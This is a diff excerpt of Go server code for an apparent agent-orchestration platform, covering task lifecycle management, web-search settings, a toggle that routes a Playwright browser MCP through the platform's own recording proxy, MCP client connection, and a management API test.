} else {
|
||||
m.webSearchBackend = defaultWebSearchBackend
|
||||
}
|
||||
if v, ok, _ := pg.GetSetting(settingBraveKey); ok {
|
||||
m.braveKey = v
|
||||
}
|
||||
if v, ok, _ := pg.GetSetting(settingTavilyKey); ok {
|
||||
m.tavilyKey = v
|
||||
}
|
||||
if v, ok, _ := pg.GetSetting(settingWebSearchProxy); ok {
|
||||
m.webSearchProxy = v
|
||||
}
|
||||
m.enrich = enrich.New(m.assets, m.ProxyAddr, 4)
|
||||
// Reconcile the seeded browser MCP with the persisted capture state, so a
|
||||
// restart with capture already on keeps Playwright routed through the proxy.
|
||||
m.syncBrowserMCPProxy()
|
||||
return m, nil
|
||||
}
|
||||
|
||||
// TrafficEnabled reports whether traffic capture is on (default off). When off,
|
||||
// no proxy/traffic tools/prompt are injected into agents (nothing is recorded).
|
||||
func (m *Manager) TrafficEnabled() bool {
|
||||
m.mu.RLock()
|
||||
defer m.mu.RUnlock()
|
||||
return m.trafficOn
|
||||
}
|
||||
|
||||
// SetTrafficEnabled persists and applies the traffic-capture toggle. Callers must
|
||||
// rebuild the agents (applyLLM) afterwards so the new proxy/tools/prompt take hold.
|
||||
func (m *Manager) SetTrafficEnabled(on bool) error {
|
||||
if err := m.pg.SetBool(settingTrafficCapture, on); err != nil {
|
||||
return err
|
||||
}
|
||||
m.mu.Lock()
|
||||
m.trafficOn = on
|
||||
m.mu.Unlock()
|
||||
// Inject (on) or strip (off) the recording proxy + CA on the browser MCP so
|
||||
// Playwright routes through the MITM. Must run after the flag flip above, since
|
||||
// ProxyAddr/ProxyCACert honor it. putSettings rebuilds agents next (applyLLM),
|
||||
// which re-spawns the MCP with the new args/env.
|
||||
m.syncBrowserMCPProxy()
|
||||
return nil
|
||||
}
|
||||
|
||||
// WebSearch returns the current web-search config: whether it is enabled, the
|
||||
// backend ("ddgs" | "brave-free" | "tavily"), the Brave API key, the Tavily API
|
||||
// key (each empty unless set), and the dedicated egress proxy (empty = direct).
|
||||
func (m *Manager) WebSearch() (on bool, backend, braveKey, tavilyKey, proxy string) {
|
||||
m.mu.RLock()
|
||||
defer m.mu.RUnlock()
|
||||
backend = m.webSearchBackend
|
||||
if backend == "" {
|
||||
backend = defaultWebSearchBackend
|
||||
}
|
||||
return m.webSearchOn, backend, m.braveKey, m.tavilyKey, m.webSearchProxy
|
||||
}
|
||||
|
||||
// WebSearchOpts returns the config as the agent-package struct the server pushes
|
||||
// into each agent. Disabled when off, or when a keyed backend is selected without
|
||||
// its key (so a half-configured backend never silently drops the tool at session build).
|
||||
func (m *Manager) WebSearchOpts() agent.WebSearchOpts {
|
||||
on, backend, braveKey, tavilyKey, proxy := m.WebSearch()
|
||||
if on && backend == "brave-free" && strings.TrimSpace(braveKey) == "" {
|
||||
on = false
|
||||
}
|
||||
if on && backend == "tavily" && strings.TrimSpace(tavilyKey) == "" {
|
||||
on = false
|
||||
}
|
||||
return agent.WebSearchOpts{Enabled: on, Backend: backend, BraveKey: braveKey, TavilyKey: tavilyKey, Proxy: proxy}
|
||||
}
|
||||
|
||||
// SetWebSearch persists and applies the web-search settings. braveKey, tavilyKey, and
|
||||
// proxy are each left untouched when nil (so toggling the switch doesn't wipe a saved
|
||||
// key/proxy; pass a pointer to "" to clear). Callers must rebuild agents (applyLLM)
|
||||
// afterwards so the settings take effect.
|
||||
func (m *Manager) SetWebSearch(on bool, backend string, braveKey, tavilyKey, proxy *string) error {
|
||||
backend = strings.TrimSpace(backend)
|
||||
if backend == "" {
|
||||
backend = defaultWebSearchBackend
|
||||
}
|
||||
if err := m.pg.SetBool(settingWebSearchOn, on); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := m.pg.SetSetting(settingWebSearchBackend, backend); err != nil {
|
||||
return err
|
||||
}
|
||||
m.mu.Lock()
|
||||
m.webSearchOn = on
|
||||
m.webSearchBackend = backend
|
||||
m.mu.Unlock()
|
||||
if braveKey != nil {
|
||||
if err := m.pg.SetSetting(settingBraveKey, *braveKey); err != nil {
|
||||
return err
|
||||
}
|
||||
m.mu.Lock()
|
||||
m.braveKey = *braveKey
|
||||
m.mu.Unlock()
|
||||
}
|
||||
if tavilyKey != nil {
|
||||
if err := m.pg.SetSetting(settingTavilyKey, *tavilyKey); err != nil {
|
||||
return err
|
||||
}
|
||||
m.mu.Lock()
|
||||
m.tavilyKey = *tavilyKey
|
||||
m.mu.Unlock()
|
||||
}
|
||||
if proxy != nil {
|
||||
p := strings.TrimSpace(*proxy)
|
||||
if err := m.pg.SetSetting(settingWebSearchProxy, p); err != nil {
|
||||
return err
|
||||
}
|
||||
m.mu.Lock()
|
||||
m.webSearchProxy = p
|
||||
m.mu.Unlock()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// browserMCPName is the seeded Playwright MCP whose proxy args + CA env are kept
|
||||
// in sync with the traffic-capture toggle.
|
||||
const browserMCPName = "browser"
|
||||
|
||||
// syncBrowserMCPProxy reconciles the seeded browser MCP's proxy args + CA env with
|
||||
// the current traffic-capture state: capture on → route Playwright through the
|
||||
// recording proxy (--proxy-server) and trust its MITM CA (NODE_EXTRA_CA_CERTS);
|
||||
// capture off → strip both. Idempotent, and a no-op if the user deleted/renamed the
|
||||
// MCP. Must be called WITHOUT m.mu held (ProxyAddr/ProxyCACert take the lock).
|
||||
func (m *Manager) syncBrowserMCPProxy() {
|
||||
servers, err := m.pg.ListMCP()
|
||||
if err != nil {
|
||||
log.Printf("[mcp] browser 代理同步: 读取 MCP 列表失败: %v", err)
|
||||
return
|
||||
}
|
||||
var srv *pgdb.MCPServer
|
||||
for _, s := range servers {
|
||||
if s.Name == browserMCPName {
|
||||
srv = s
|
||||
break
|
||||
}
|
||||
}
|
||||
if srv == nil {
|
||||
return // user removed/renamed it — leave it alone
|
||||
}
|
||||
|
||||
proxy := m.ProxyAddr() // "" when capture off
|
||||
cert := m.ProxyCACert() // "" when capture off
|
||||
|
||||
args := stripProxyArgs(decodeStrSlice(srv.Args))
|
||||
env := decodeStrMap(srv.Env)
|
||||
delete(env, "NODE_EXTRA_CA_CERTS")
|
||||
if proxy != "" {
|
||||
args = append(args, "--proxy-server", proxy)
|
||||
if cert != "" {
|
||||
env["NODE_EXTRA_CA_CERTS"] = cert
|
||||
}
|
||||
}
|
||||
srv.Args = encodeJSON(args)
|
||||
srv.Env = encodeJSON(env)
|
||||
if _, err := m.pg.SaveMCP(srv); err != nil {
|
||||
log.Printf("[mcp] browser 代理同步失败: %v", err)
|
||||
return
|
||||
}
|
||||
if proxy != "" {
|
||||
log.Printf("[mcp] browser MCP 已挂捕获代理 %s (CA %s)", proxy, cert)
|
||||
} else {
|
||||
log.Printf("[mcp] browser MCP 已移除捕获代理配置")
|
||||
}
|
||||
}
|
||||
|
||||
// stripProxyArgs removes any --proxy-server/--proxy-bypass flags (both "--flag val"
|
||||
// and "--flag=val" forms) so they can be re-added cleanly from current state,
|
||||
// without mutating the input slice.
|
||||
func stripProxyArgs(args []string) []string {
|
||||
out := make([]string, 0, len(args))
|
||||
for i := 0; i < len(args); i++ {
|
||||
a := args[i]
|
||||
if a == "--proxy-server" || a == "--proxy-bypass" {
|
||||
i++ // skip the following value too
|
||||
continue
|
||||
}
|
||||
if strings.HasPrefix(a, "--proxy-server=") || strings.HasPrefix(a, "--proxy-bypass=") {
|
||||
continue
|
||||
}
|
||||
out = append(out, a)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func decodeStrSlice(raw json.RawMessage) []string {
|
||||
var out []string
|
||||
if len(raw) > 0 {
|
||||
_ = json.Unmarshal(raw, &out)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func decodeStrMap(raw json.RawMessage) map[string]string {
|
||||
out := map[string]string{}
|
||||
if len(raw) > 0 {
|
||||
_ = json.Unmarshal(raw, &out)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func encodeJSON(v any) json.RawMessage {
|
||||
b, err := json.Marshal(v)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
return b
|
||||
}
|
||||
|
||||
// HostTools are runtime host-provided tools added to EVERY agent's base list (via
|
||||
// ToolAugment); the tools table then filters them per-agent binding. Currently the
|
||||
// traffic tools, gated by the global capture switch: empty when capture is off, so
|
||||
// no agent gets traffic_search/traffic_get regardless of binding.
|
||||
func (m *Manager) HostTools() []actool.CoreTool {
|
||||
if m.traffic == nil || !m.TrafficEnabled() {
|
||||
return nil
|
||||
}
|
||||
return m.traffic.Tools()
|
||||
}
|
||||
|
||||
func (m *Manager) Assets() *pgdb.AssetStore { return m.assets }
|
||||
func (m *Manager) PG() *pgdb.DB { return m.pg }
|
||||
func (m *Manager) Traffic() *traffic.Traffic { return m.traffic }
|
||||
|
||||
// ProxyAddr returns the recording proxy address agents route through — empty when
|
||||
// traffic capture is off, so no proxy is injected (agent runs direct, no recording).
|
||||
func (m *Manager) ProxyAddr() string {
|
||||
if m.traffic == nil || !m.TrafficEnabled() {
|
||||
return ""
|
||||
}
|
||||
return m.traffic.ProxyAddr()
|
||||
}
|
||||
|
||||
// ProxyCACert returns the recording proxy's CA cert path (empty when no proxy or
|
||||
// traffic capture is off), which WebFetch trusts to verify HTTPS through the MITM.
|
||||
func (m *Manager) ProxyCACert() string {
|
||||
if m.traffic == nil || !m.TrafficEnabled() {
|
||||
return ""
|
||||
}
|
||||
return m.traffic.CACertPath()
|
||||
}
|
||||
|
||||
func (m *Manager) Close() error {
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
if m.traffic != nil {
|
||||
m.traffic.Close()
|
||||
}
|
||||
return m.pg.Close()
|
||||
}
|
||||
|
||||
// isTerminalStatus reports whether a task status is terminal (done/failed/timeout).
|
||||
// Package-local shim over db.IsTerminal so all server files share one definition.
|
||||
func isTerminalStatus(status string) bool { return pgdb.IsTerminal(status) }
|
||||
|
||||
// unixOrZero returns t's unix seconds, or 0 when the time is nil.
|
||||
func unixOrZero(t *time.Time) int64 {
|
||||
if t == nil {
|
||||
return 0
|
||||
}
|
||||
return t.Unix()
|
||||
}
|
||||
|
||||
func taskFromPG(pt *pgdb.Task, store *pgdb.ExplorationStore, ic *intercept.Interceptor) *Task {
|
||||
return &Task{
|
||||
ID: strconv.FormatInt(pt.ID, 10), ExpID: pt.ExplorationID,
|
||||
Description: pt.Description, Goal: pt.Goal, CreatedAt: pt.CreatedAt.Unix(), Paused: pt.Paused,
|
||||
CompletedAt: unixOrZero(pt.CompletedAt), Status: pt.Status, ParentRef: pt.ParentRef,
|
||||
LLMProfileID: pt.LLMProfileID,
|
||||
TimeoutSeconds: pt.TimeoutSeconds, FirstRunAt: unixOrZero(pt.FirstRunAt), DeadlineAt: unixOrZero(pt.DeadlineAt),
|
||||
Store: store, Guard: guard.NewWithInterceptor(ic), notify: make(chan struct{}, 1),
|
||||
}
|
||||
}
|
||||
|
||||
// CreateTask creates a task + its exploration and makes it active.
|
||||
// timeoutSeconds is the task-level wall-clock budget (0 = 不限时).
|
||||
func (m *Manager) CreateTask(description, goal string, llmProfileID *int64, timeoutSeconds int) (*Task, error) {
|
||||
pt, err := m.pg.CreateTask(description, goal, llmProfileID, timeoutSeconds)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
t := taskFromPG(pt, m.pg.Exploration(pt.ExplorationID), m.interceptor)
|
||||
m.mu.Lock()
|
||||
m.tasks[t.ID] = t
|
||||
m.active = t.ID
|
||||
m.mu.Unlock()
|
||||
return t, nil
|
||||
}
|
||||
|
||||
// LoadExisting rebuilds in-memory task handles from the PG task registry.
|
||||
func (m *Manager) LoadExisting() []*Task {
|
||||
pts, err := m.pg.ListTasks()
|
||||
if err != nil {
|
||||
log.Printf("[manager] reload: %v", err)
|
||||
return nil
|
||||
}
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
var loaded []*Task
|
||||
for _, pt := range pts {
|
||||
id := strconv.FormatInt(pt.ID, 10)
|
||||
if _, ok := m.tasks[id]; ok {
|
||||
continue
|
||||
}
|
||||
t := taskFromPG(pt, m.pg.Exploration(pt.ExplorationID), m.interceptor)
|
||||
m.tasks[id] = t
|
||||
loaded = append(loaded, t)
|
||||
}
|
||||
if m.active == "" {
|
||||
var newest *Task
|
||||
for _, t := range m.tasks {
|
||||
if newest == nil || t.CreatedAt > newest.CreatedAt {
|
||||
newest = t
|
||||
}
|
||||
}
|
||||
if newest != nil {
|
||||
m.active = newest.ID
|
||||
}
|
||||
}
|
||||
if len(loaded) > 0 {
|
||||
log.Printf("[manager] reloaded %d task(s) from PG", len(loaded))
|
||||
}
|
||||
return loaded
|
||||
}
|
||||
|
||||
// SetTaskPaused persists a task's paused state.
|
||||
func (m *Manager) SetTaskPaused(id string, paused bool) error {
|
||||
n, err := strconv.ParseInt(id, 10, 64)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return m.pg.SetPaused(n, paused)
|
||||
}
|
||||
|
||||
// TaskStatus returns a task's current in-memory status (empty if unknown).
|
||||
func (m *Manager) TaskStatus(id string) string {
|
||||
m.mu.RLock()
|
||||
defer m.mu.RUnlock()
|
||||
if t := m.tasks[id]; t != nil {
|
||||
return t.Status
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// StampTaskFirstRun stamps first_run_at + deadline_at on the first real run (idempotent
|
||||
// in DB) and mirrors deadline_at on the live handle. Returns the deadline unix (0 = 不限).
|
||||
func (m *Manager) StampTaskFirstRun(id string) (int64, error) {
|
||||
n, err := strconv.ParseInt(id, 10, 64)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
m.mu.RLock()
|
||||
timeout := 0
|
||||
if t := m.tasks[id]; t != nil {
|
||||
timeout = t.TimeoutSeconds
|
||||
}
|
||||
m.mu.RUnlock()
|
||||
dl, err := m.pg.StampFirstRun(n, timeout)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
var dlUnix int64
|
||||
if dl != nil {
|
||||
dlUnix = dl.Unix()
|
||||
}
|
||||
m.mu.Lock()
|
||||
if t := m.tasks[id]; t != nil {
|
||||
if t.FirstRunAt == 0 {
|
||||
t.FirstRunAt = time.Now().Unix()
|
||||
}
|
||||
t.DeadlineAt = dlUnix
|
||||
}
|
||||
m.mu.Unlock()
|
||||
return dlUnix, nil
|
||||
}
|
||||
|
||||
// SetTaskStatusGuarded sets a TERMINAL status only if the task isn't already terminal
|
||||
// (resolves the completed↔timeout race — first terminal writer wins). Reflects the
|
||||
// won status on the live handle. won=false means another terminal already stuck.
|
||||
func (m *Manager) SetTaskStatusGuarded(id, status string) (won bool, err error) {
|
||||
n, err := strconv.ParseInt(id, 10, 64)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
won, err = m.pg.SetTerminalStatusGuarded(n, status)
|
||||
if err != nil || !won {
|
||||
return won, err
|
||||
}
|
||||
m.mu.Lock()
|
||||
if t := m.tasks[id]; t != nil {
|
||||
t.Status = status
|
||||
if t.CompletedAt == 0 {
|
||||
t.CompletedAt = time.Now().Unix()
|
||||
}
|
||||
}
|
||||
m.mu.Unlock()
|
||||
return true, nil
|
||||
}
|
||||
|
||||
// SetTaskStatus persists a task's lifecycle status (e.g. "done") and reflects it
|
||||
// on the in-memory handle so the derived DTO status shows it without a reload.
|
||||
func (m *Manager) SetTaskStatus(id, status string) error {
|
||||
n, err := strconv.ParseInt(id, 10, 64)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := m.pg.SetStatus(n, status); err != nil {
|
||||
return err
|
||||
}
|
||||
m.mu.Lock()
|
||||
if t := m.tasks[id]; t != nil {
|
||||
t.Status = status
|
||||
// mirror the DB's completed_at stamp on the live handle so the DTO shows the
|
||||
// finish time without a reload (terminal → stamp once; else clear).
|
||||
if pgdb.IsTerminal(status) {
|
||||
if t.CompletedAt == 0 {
|
||||
t.CompletedAt = time.Now().Unix()
|
||||
}
|
||||
} else {
|
||||
t.CompletedAt = 0
|
||||
}
|
||||
}
|
||||
m.mu.Unlock()
|
||||
return nil
|
||||
}
|
||||
|
||||
// DeleteTask removes a task (and its exploration subgraph) from PG + memory.
|
||||
func (m *Manager) DeleteTask(id string) error {
|
||||
n, err := strconv.ParseInt(id, 10, 64)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := m.pg.DeleteTask(n); err != nil {
|
||||
return err
|
||||
}
|
||||
m.mu.Lock()
|
||||
delete(m.tasks, id)
|
||||
if m.active == id {
|
||||
m.active = ""
|
||||
for _, t := range m.tasks {
|
||||
m.active = t.ID
|
||||
break
|
||||
}
|
||||
}
|
||||
m.mu.Unlock()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *Manager) Task(id string) (*Task, bool) {
|
||||
m.mu.RLock()
|
||||
defer m.mu.RUnlock()
|
||||
t, ok := m.tasks[id]
|
||||
return t, ok
|
||||
}
|
||||
|
||||
// ActiveTask returns the currently active task (or nil).
|
||||
func (m *Manager) ActiveTask() *Task {
|
||||
m.mu.RLock()
|
||||
defer m.mu.RUnlock()
|
||||
if m.active == "" {
|
||||
return nil
|
||||
}
|
||||
return m.tasks[m.active]
|
||||
}
|
||||
|
||||
// SetActive switches the active task. Returns false if the id is unknown.
|
||||
func (m *Manager) SetActive(id string) bool {
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
if _, ok := m.tasks[id]; !ok {
|
||||
return false
|
||||
}
|
||||
m.active = id
|
||||
return true
|
||||
}
|
||||
|
||||
func (m *Manager) ResolveTask(id string) *Task {
|
||||
if id == "" || id == "active" {
|
||||
return m.ActiveTask()
|
||||
}
|
||||
t, _ := m.Task(id)
|
||||
return t
|
||||
}
|
||||
|
||||
func (m *Manager) List() []*Task {
|
||||
m.mu.RLock()
|
||||
defer m.mu.RUnlock()
|
||||
out := make([]*Task, 0, len(m.tasks))
|
||||
for _, t := range m.tasks {
|
||||
out = append(out, t)
|
||||
}
|
||||
sort.Slice(out, func(i, j int) bool { return out[i].CreatedAt > out[j].CreatedAt })
|
||||
return out
|
||||
}
|
||||
|
||||
// Notify signals that the asset/exploration graph changed (debounced consumer
|
||||
// wakes the planner). Non-blocking.
|
||||
func (t *Task) Notify() {
|
||||
select {
|
||||
case t.notify <- struct{}{}:
|
||||
default:
|
||||
}
|
||||
}
|
||||
|
||||
// NotifyDone is Notify plus a hint: intentID just finished and is what triggered
|
||||
// this wake-up. The planner reads the accumulated ids next round so it knows
|
||||
// which intents' fresh yields to focus on. Ids pile up (debounce) until the
|
||||
// round drains them via drainDone.
|
||||
func (t *Task) NotifyDone(intentID int64) {
|
||||
if intentID > 0 {
|
||||
t.doneMu.Lock()
|
||||
t.doneIntents = append(t.doneIntents, intentID)
|
||||
t.doneMu.Unlock()
|
||||
}
|
||||
t.Notify()
|
||||
}
|
||||
|
||||
// drainDone returns and clears the intent ids completed since the last round.
|
||||
func (t *Task) drainDone() []int64 {
|
||||
t.doneMu.Lock()
|
||||
defer t.doneMu.Unlock()
|
||||
ids := t.doneIntents
|
||||
t.doneIntents = nil
|
||||
return ids
|
||||
}
|
||||
@@ -0,0 +1,84 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log"
|
||||
"time"
|
||||
|
||||
"github.com/Autumn-27/norma/mcp"
|
||||
actool "github.com/Autumn-27/norma/tool"
|
||||
"github.com/Autumn-27/artex/db"
|
||||
"github.com/Autumn-27/artex/mcphttp"
|
||||
)
|
||||
|
||||
// mcpClient is the shared surface of a connected MCP server (stdio or remote http),
|
||||
// so tools/list and cleanup are handled uniformly regardless of transport.
|
||||
type mcpClient interface {
|
||||
Tools(context.Context) ([]actool.CoreTool, error)
|
||||
Close() error
|
||||
}
|
||||
|
||||
// connectMCP dials one MCP server per its transport. Callers must Close the client.
|
||||
func connectMCP(ctx context.Context, m *db.MCPServer) (mcpClient, error) {
|
||||
switch m.Transport {
|
||||
case "stdio":
|
||||
if m.Command == "" {
|
||||
return nil, fmt.Errorf("stdio 传输缺少命令")
|
||||
}
|
||||
return mcp.NewStdioClient(ctx, m.Name, m.Command, jsonStrMap(m.Env), jsonStrSlice(m.Args)...)
|
||||
case "http":
|
||||
if m.URL == "" {
|
||||
return nil, fmt.Errorf("http 传输缺少 URL")
|
||||
}
|
||||
// env map doubles as HTTP headers (e.g. Authorization).
|
||||
return mcphttp.New(ctx, m.Name, m.URL, jsonStrMap(m.Env))
|
||||
default:
|
||||
return nil, fmt.Errorf("未知传输方式 %q", m.Transport)
|
||||
}
|
||||
}
|
||||
|
||||
// discoverAndCacheMCP connects to one MCP, lists its tools, and persists the tool
|
||||
// names to mcp_tools_cache so the UI shows them without a live connection.
|
||||
func (s *Server) discoverAndCacheMCP(ctx context.Context, m *db.MCPServer) error {
|
||||
cl, err := connectMCP(ctx, m)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer cl.Close()
|
||||
ts, err := cl.Tools(ctx)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
tools := make([]db.MCPTool, 0, len(ts))
|
||||
for _, t := range ts {
|
||||
tools = append(tools, db.MCPTool{Name: t.Name(), Description: t.Description()})
|
||||
}
|
||||
if err := s.m.pg.SaveMCPTools(m.ID, tools); err != nil {
|
||||
return err
|
||||
}
|
||||
log.Printf("[mcp] %s 发现 %d 个工具并已缓存", m.Name, len(tools))
|
||||
return nil
|
||||
}
|
||||
|
||||
// discoverEmptyMCPsOnStartup fills the tool cache for any enabled MCP that has none
|
||||
// yet (notably the seeded browser MCP on first run). Runs sequentially in one
|
||||
// goroutine so we never spawn many stdio servers (npx) at once, and never blocks
|
||||
// startup. Best-effort: a failure leaves the cache empty to retry next start.
|
||||
func (s *Server) discoverEmptyMCPsOnStartup() {
|
||||
servers, err := s.m.pg.ListMCP()
|
||||
if err != nil {
|
||||
log.Printf("[mcp] 启动自动发现: 读取列表失败: %v", err)
|
||||
return
|
||||
}
|
||||
for _, m := range servers {
|
||||
if !m.Enabled || len(m.Tools) > 0 {
|
||||
continue
|
||||
}
|
||||
ctx, cancel := context.WithTimeout(s.ctx, 90*time.Second)
|
||||
if err := s.discoverAndCacheMCP(ctx, m); err != nil {
|
||||
log.Printf("[mcp] 启动自动发现 %s 失败: %v", m.Name, err)
|
||||
}
|
||||
cancel()
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,113 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// TestMgmtAPI exercises the PostgreSQL-backed management API through the real mux.
|
||||
func TestMgmtAPI(t *testing.T) {
|
||||
m, err := NewManager(t.TempDir(), "")
|
||||
if err != nil {
|
||||
t.Skipf("database unavailable (%v) — skipping management API test", err)
|
||||
}
|
||||
if m.pg == nil {
|
||||
t.Skip("postgres unavailable — skipping management API test")
|
||||
}
|
||||
td := t.TempDir()
|
||||
s := New(context.Background(), m, td, td)
|
||||
h := s.Handler()
|
||||
tok, err := signJWT(s.jwtKey)
|
||||
if err != nil {
|
||||
t.Fatalf("sign jwt: %v", err)
|
||||
}
|
||||
|
||||
do := func(method, path string, body any) (int, map[string]any) {
|
||||
var r *http.Request
|
||||
if body != nil {
|
||||
b, _ := json.Marshal(body)
|
||||
r = httptest.NewRequest(method, path, bytes.NewReader(b))
|
||||
} else {
|
||||
r = httptest.NewRequest(method, path, nil)
|
||||
}
|
||||
r.Header.Set("Authorization", "Bearer "+tok)
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, r)
|
||||
var out map[string]any
|
||||
json.Unmarshal(rec.Body.Bytes(), &out)
|
||||
return rec.Code, out
|
||||
}
|
||||
|
||||
// agents list — must include at least the seeded builtins
|
||||
code, out := do("GET", "/api/agents", nil)
|
||||
if code != 200 {
|
||||
t.Fatalf("GET agents: %d", code)
|
||||
}
|
||||
if ags, _ := out["agents"].([]any); len(ags) < 5 {
|
||||
t.Fatalf("want >=5 agents (seeded builtins), got %d", len(ags))
|
||||
}
|
||||
|
||||
// invalid template var → 400 (catalog whitelist)
|
||||
code, out = do("PUT", "/api/agents/planner/prompt", map[string]string{"template": "hi {{.Nope}}"})
|
||||
if code != 400 {
|
||||
t.Fatalf("bad var should be 400, got %d (%v)", code, out)
|
||||
}
|
||||
|
||||
// valid template using seeded catalog vars → 200
|
||||
code, _ = do("PUT", "/api/agents/planner/prompt", map[string]string{"template": "你是规划者，目标：{{.Goal}}，摘要 {{.AssetSummary}}"})
|
||||
if code != 200 {
|
||||
t.Fatalf("valid prompt save: %d", code)
|
||||
}
|
||||
|
||||
// preview renders with catalog examples
|
||||
code, out = do("POST", "/api/agents/planner/prompt/preview", map[string]any{})
|
||||
if code != 200 {
|
||||
t.Fatalf("preview: %d", code)
|
||||
}
|
||||
if rendered, _ := out["rendered"].(string); rendered == "" || rendered == "你是规划者，目标：{{.Goal}}，摘要 {{.AssetSummary}}" {
|
||||
t.Fatalf("preview did not substitute: %q", out["rendered"])
|
||||
}
|
||||
|
||||
// mcp create → visible to planner → resource-side sees planner → delete clears it
|
||||
// Remove any leftover from prior run to keep the test idempotent.
|
||||
m.pg.Exec(`DELETE FROM mcp_servers WHERE name = 't-itest'`)
|
||||
code, out = do("POST", "/api/mcp", map[string]any{"name": "t-itest", "transport": "stdio", "command": "x", "enabled": true})
|
||||
if code != 200 {
|
||||
t.Fatalf("create mcp: %d", code)
|
||||
}
|
||||
mid := int64(out["id"].(float64))
|
||||
|
||||
ag, _ := m.pg.GetAgentByKey("planner")
|
||||
code, _ = do("PUT", "/api/agents/planner/visibility", map[string]any{"mcp": []int64{mid}, "skill": []int64{}})
|
||||
if code != 200 {
|
||||
t.Fatalf("set visibility: %d", code)
|
||||
}
|
||||
code, out = do("GET", "/api/visibility/mcp/"+itoaTest(mid), nil)
|
||||
if code != 200 {
|
||||
t.Fatalf("resource visibility: %d", code)
|
||||
}
|
||||
if agents, _ := out["agents"].([]any); len(agents) != 1 || agents[0].(string) != itoaTest(ag.ID) {
|
||||
t.Fatalf("resource-side should list planner, got %v", out["agents"])
|
||||
}
|
||||
|
||||
// cleanup
|
||||
do("DELETE", "/api/mcp/"+itoaTest(mid), nil)
|
||||
m.pg.Exec(`DELETE FROM agent_prompts WHERE agent_id=$1`, ag.ID)
|
||||
m.pg.Exec(`UPDATE agents SET current_prompt_id=NULL WHERE id=$1`, ag.ID)
|
||||
}
|
||||
|
||||
func itoaTest(n int64) string {
|
||||
b := []byte{}
|
||||
if n == 0 {
|
||||
return "0"
|
||||
}
|
||||
for n > 0 {
|
||||
b = append([]byte{byte('0' + n%10)}, b...)
|
||||
n /= 10
|
||||
}
|
||||
return string(b)
|
||||
}
|
||||
@@ -0,0 +1,483 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/Autumn-27/norma/permission"
|
||||
actool "github.com/Autumn-27/norma/tool"
|
||||
"github.com/Autumn-27/artex/agent"
|
||||
)
|
||||
|
||||
// jsonResult marshals v to a JSON tool result.
|
||||
func jsonResult(v any) (actool.Result, error) {
|
||||
b, err := json.Marshal(v)
|
||||
if err != nil {
|
||||
return actool.Errorf(err.Error()), nil
|
||||
}
|
||||
return actool.Text(string(b)), nil
|
||||
}
|
||||
|
||||
// 本文件实现 P2「跨任务编排工具集」(docs/跑分编排 §2 P2)。这些是 host 工具——需要
|
||||
// 访问 Manager(任意任务的 Store)、Engine(暂停)、以及建任务流程,所以住在 server 层。
|
||||
// 读类工具把「现有 per-task 工具」重定向到目标任务的 store 上跑(建一个临时 ToolSet
|
||||
// 并 Call 其对应工具),从而复用完全相同的逻辑;控制类(spawn/pause)直接调 Manager/Engine。
|
||||
// 它们像流量工具一样 seed 进 tools 表、按 agent 绑定(只绑给编排 agent 才可见)。
|
||||
|
||||
// hostTools is the runtime host-tool provider fed to ToolAugment: traffic tools
|
||||
// (gated by capture) + cross-task orchestration tools + user-defined custom tools.
|
||||
// The second return is the names of custom tools flagged `deferred` (schema
|
||||
// withheld, routed via SearchExtraTools/ExecuteExtraTool). Per-agent binding still
|
||||
// decides who actually sees any of them.
|
||||
//
|
||||
//nolint:unused // used as the hostTools provider in wireAgentAugment
|
||||
func (s *Server) hostTools() ([]actool.CoreTool, map[string][]string) {
|
||||
tools := append(s.m.HostTools(), s.orchestrationTools()...)
|
||||
tools = append(tools, s.platformTools()...) // 平台操作工具(建改 skill/工具/MCP，给 Auto 用)
|
||||
custom, err := s.customTools()
|
||||
if err != nil {
|
||||
log.Printf("[custom-tool] 加载失败: %v", err)
|
||||
return tools, nil
|
||||
}
|
||||
tools = append(tools, custom...)
|
||||
// deferred custom tools → name -> its bound agent keys. ToolAugment turns a
|
||||
// name into a deferred entry only for agents it's actually bound to (so we don't
|
||||
// advertise a tool the per-agent binding will drop from the callable set).
|
||||
deferred := map[string][]string{}
|
||||
rows, _ := s.m.pg.ListCustomTools()
|
||||
for _, t := range rows {
|
||||
if t.Deferred && t.Enabled {
|
||||
deferred[t.Key] = t.Agents
|
||||
}
|
||||
}
|
||||
return tools, deferred
|
||||
}
|
||||
|
||||
// orchestrationTools returns the cross-task tool set. Bound per-agent via the
|
||||
// tools table (default: no binding — opt-in for orchestration agents).
|
||||
func (s *Server) orchestrationTools() []actool.CoreTool {
|
||||
return []actool.CoreTool{
|
||||
s.toolListTasks(),
|
||||
s.toolListLLMProfiles(),
|
||||
s.toolSpawnTask(),
|
||||
s.toolPauseTask(),
|
||||
s.toolGetTaskGraph(),
|
||||
s.toolListTaskFindings(),
|
